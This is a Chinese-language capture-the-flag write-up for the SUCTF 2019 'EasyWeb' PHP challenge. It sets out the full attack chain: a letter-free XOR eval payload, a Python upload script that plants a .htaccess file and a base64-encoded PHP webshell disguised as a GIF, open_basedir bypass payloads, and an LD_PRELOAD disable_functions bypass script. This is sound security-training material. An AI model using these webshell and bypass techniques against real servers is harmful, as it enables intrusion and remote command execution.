[SUCTF 2019]EasyWeb
代码审计题:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38
| <?php function get_the_flag(){ // webadmin will remove your upload file every 20 min!!!! $userdir = "upload/tmp_".md5($_SERVER['REMOTE_ADDR']); if(!file_exists($userdir)){ mkdir($userdir); } if(!empty($_FILES["file"])){ $tmp_name = $_FILES["file"]["tmp_name"]; $name = $_FILES["file"]["name"]; $extension = substr($name, strrpos($name,".")+1); if(preg_match("/ph/i",$extension)) die("^_^"); if(mb_strpos(file_get_contents($tmp_name), '<?')!==False) die("^_^"); if(!exif_imagetype($tmp_name)) die("^_^"); $path= $userdir."/".$name; @move_uploaded_file($tmp_name, $path); print_r($path); } }
$hhh = @$_GET['_'];
if (!$hhh){ highlight_file(__FILE__); }
if(strlen($hhh)>18){ die('One inch long, one inch strong!'); }
if ( preg_match('/[\x00- 0-9A-Za-z\'"\`~_&.,|=[\x7F]+/i', $hhh) ) die('Try something else!');
$character_type = count_chars($hhh, 3); if(strlen($character_type)>12) die("Almost there!");
eval($hhh); ?>
|
题解
1.无字母数字shell构造
思路源于p神的文章:一些不包含数字和字母的webshell
因为屏蔽了字母数字,可以思路可以往无字母数字getshell上走,大致有:或,异或,取反三个方案。
因为检测~,所以取反不可行。
于是跑脚本:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23
| import re
preg = '[\x00- 0-9A-Za-z\'"\`~_&.,|=[\x7F]+' payload = "_GET" istr = '' jstr = '' for char in payload: check = 0 for i in range(128, 256): for j in range(128, 256): if not (re.match(preg, chr(i), re.I) or re.match(preg, chr(j), re.I)): if(i ^ j == ord(char)): i = '%{:0>2}'.format(hex(i)[2:]) j = '%{:0>2}'.format(hex(j)[2:]) istr += i jstr += j check = 1 break if check == 1: break
print('${%s^%s}' % (istr, jstr))
|
因为还限制了字符类型,所以尽量用重复的字符。
1 2
| 在字符串的变量的后面跟上{}大括号或者中括号[],里面填写了数字,这里是把字符串变量当成数组处理,所以$_GET['c']等价于$_GET{'c'},但这个问题7.4报warn,8.0可能会被处理。
|
payload:
1
| ?_=${%80%80%80%80^%df%c7%c5%d4}{%80}();&%80=phpinfo
|
直接获取flag:
扩展:最简情况的字符考量
经测试,在这种最简情况下,尽量用大于0x7f的字符进行异或,否则在urldecode的时候会造成错误。
例如:
%24^%7b
结果为_
,但%24
urldecode结果是$
,就与payload里的$
造成冲突。
如果加了引号,则不用担心这个问题。
2.利用.htaccess文件上传
.htaccess文件提供了针对目录改变配置的方法,在一个特定的文档目录中放置一个包含一个或多个指令的文件,以作用于此目录及其所有子目录。
加了很多限制,所以是要利用get_the_flag()
函数
exif_imagetype
第一反应肯定是图片马,所以考虑图片马构造,但<?
被限制,导致大部分一句话木马都被过滤了,而<script language='php'></script>
又只能在php5环境下使用
所以将一句话进行base64编码,然后在.htaccess中利用php伪协议进行解码
.htaccess+文件头检测绕过
因为有exif_imagetype
进行文件头检测,一般是加GIF89a
进行绕过,但在这里会导致.htaccess
文件无法正常生效,所以在.htaccess
文件中加上
1 2
| #define width 1337 #define height 1337
|
于是.htaccess
文件内容如下
1 2 3 4
|
AddType application/x-httpd-php .a php_value auto_append_file "php://filter/convert.base64-decode/resource=./shell.a"
|
shell.a
文件内容如下,多加了12是为了补足8个字节,满足base64编码的规则,太细了
base64编码要求:每三个字节/字符一组,也就是字符数是3的整数倍(因为是ascii码,所以一个字节等于一个字符
1 2
| GIF89a12 PD9waHAgZXZhbCgkX1JFUVVFU1RbJ2NtZCddKTs/Pg==
|
因为exif_imagetype是检测开头字符,所以注意GIF89a12前面不要有换行符,不要有空格,python三单引号形式字符串注意换行符。
上传脚本:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21
| import requests import time
url = r"http://7c586462-a2f1-4008-a870-9303b30d8fb1.node4.buuoj.cn/?_=${%80%80%80%80^%df%c7%c5%d4}{%80}();&%80=get_the_flag" session = requests.session() htaccess_content = ''' #define width 1337 #define height 1337 AddType application/x-httpd-php .a php_value auto_append_file "php://filter/convert.base64-decode/resource=./shell.a" ''' files_htaccess = {'file': ( '.htaccess', htaccess_content, 'image/jpeg')} res_hta = session.post(url, files=files_htaccess) print(res_hta.text) shell_file = 'GIF89a12PD9waHAgZXZhbCgkX1JFUVVFU1RbJ2NtZCddKTs/Pg==' files_shell = {'file': ( 'shell.a', shell_file, 'image/jpeg')} res_jpg = session.post(url, files=files_shell)
print(res_jpg.text)
|
3-1.open_basedir bypass
蚁剑连接后,没法访问其他目录。
bypass open_basedir的新方法
payload:扫目录
1
| cmd=chdir('img');ini_set('open_basedir','..');chdir('..');chdir('..');chdir('..');chdir('..');ini_set('open_basedir','/');var_dump(scandir("/"));
|
flag在THis_Is_tHe_F14g
读取文件
1
| chdir('img');ini_set('open_basedir','..');chdir('..');chdir('..');chdir('..');chdir('..');ini_set('open_basedir','/');echo(file_get_contents('/THis_Is_tHe_F14g'));
|
3-2.disable_function bypass
原理可见https://www.cnblogs.com/cimuhuashuimu/p/11544487.html
但这题
由于禁用了mail,所以得考虑其他函数,比如error_log
,mb_send_mail
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25
| <?php echo "<p> <b>example</b>: bypass_disablefunc.php?cmd=pwd&outpath=/tmp/xx&sopath=/var/www/html/bypass_disablefunc_x64.so </p>";
$cmd = $_GET["cmd"]; $out_path = $_GET["outpath"]; $evil_cmdline = $cmd . " > " . $out_path . " 2>&1"; echo "<p> <b>cmdline</b>: " . $evil_cmdline . "</p>";
putenv("EVIL_CMDLINE=" . $evil_cmdline);
$so_path = $_GET["sopath"]; putenv("LD_PRELOAD=" . $so_path);
mail("", "", "", ""); error_log("a", 1); mb_send_mail("", "", "");
echo "<p> <b>output</b>: <br />" . nl2br(file_get_contents($out_path)) . "</p>";
unlink($out_path);
|
成功。单单这个PHP的话,似乎不能用蚁剑连接。
3-3.利用蚁剑一键bypass!
蚁剑nb!破音
然后连接/.antproxy.php
,还能再用蚁剑连,蚁剑nb!
结束。
参考链接:https://syunaht.com/p/745812677.html
Author:
odiws
Permalink:
http://odiws.github.io/2024/06/11/2019-EasyWeb/
License:
Copyright (c) 2019 CC-BY-NC-4.0 LICENSE
Slogan:
Do you believe in DESTINY?